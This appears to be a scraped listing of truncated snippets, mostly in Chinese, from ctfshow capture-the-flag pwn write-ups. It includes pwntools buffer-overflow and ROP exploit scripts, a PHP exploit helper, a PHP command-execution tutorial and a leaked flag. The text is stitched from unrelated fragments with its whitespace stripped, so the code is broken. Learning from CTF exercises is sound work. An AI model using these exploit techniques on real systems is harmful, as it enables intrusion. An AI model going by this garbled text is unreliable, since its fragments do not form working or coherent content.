frompwnimport*fromLibcSearcherimport*# 打印调试信息context.log_level ='debug'# 建立连接p = remote("pwn.challenge.ctf.show","28111") elf = ELF("./pwn")# 溢出偏移地址offset =0x84+0x4+0x4# main函数地址main_addr = elf.symbols['main']# plt表中puts函数地址puts_plt = elf.plt['puts']#...
log_level="debug")binary='../flower'elf=ELF(binary)local=1port=28248iflocal==0:p=process(binary)else:p=remote("pwn.challenge.ctf.show",port)next=b"ls && cat flag"#===plt & got===#readPlt=0x43f9d0mprotectPlt=0x440520rdiAddr=0x0000000000401696#pop rdi;retrsiAddr=0x0000000...
context.arch ='amd64'sh = remote("pwn.challenge.ctf.show",28196)# sh = process("pwn06")junk ='a'* (0xc+8)# run_cmd = 0x40057B# payload = flat(junk, run_cmd)# 方法2ret =0x40058Eget_flag =0x400577payload = flat(junk, ret, get_flag) sh.sendline(payload) sh.interactive()...
1.整数除以零 2.INT_MIN除以-1 frompwnimport* context.arch='amd64' io=remote("stack.challenge.ctf.show",28091) # io = process("pwn2") print(io.recv().decode()) io.sendline('4294967295') io.sendline('4294967286') io.sendline('48145') io.sendline('89209') io.sendline(str(2**31))...
//github.com/cfreal/ten#from__future__importannotationsimportbase64importzlibfromdataclassesimportdataclassfrompwnimport*fromrequests.exceptionsimportChunkedEncodingError,ConnectionErrorfromtenimport*HEAP_SIZE=2*1024*1024BUG="劄".encode("utf-8")classRemote:"""A helper class to send the payload and ...
1.3 危害等级 服务器沦陷 内网渗透跳板 数据泄露 持久化后门 2. PHP命令执行函数全解析 2.1 直接执行函数 2.2 间接执行方式 // 反引号执行 $output =`whoami`;//popen()示例 $handle = popen('/bin/ls','r'); AI代码助手复制代码 2.3 特殊场景函数 ...
CNCERTCNNVD 会员体系(甲方)会员体系(厂商)产品名录企业空间 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0
一个是pwn✌的溢出思想(https://www.yuque.com/misery333/sz1apr/qvvd5igfpyc7xdu4?singleDoc#pEncV),一个是密码✌的RSA公钥体系(https://ctf-show.feishu.cn/docx/KTfvd3GCOodJrRxVnk5ck1LunYb) 代码语言:javascript 代码运行次数:0 运行 AI代码解释 # -*- coding: utf-8 -*- # @Author: h1...
第一题:pwn签到 直接nc链接得到flag:ctfshow{677d6a30-8582-49b4-8898-ea6265e08585} 第二题:初步nc得到: stack happy! 32bits 使用ida打开,在main中找到一个pwnme,点进去找到一个fgets,知道是在这里获取用户输入
io.close()ifdata.startswith(b'Welcome to CTFshow-PWN ! Do you know who is daniu?'):returnaddresselse: address+=1exceptEOFError: address +=1defget_csu_gadget(times,stop): add =0x400000while1:try: io = connection() payload =b'a'* times + p64(add) + p64(0) *6+ p64(stop) ...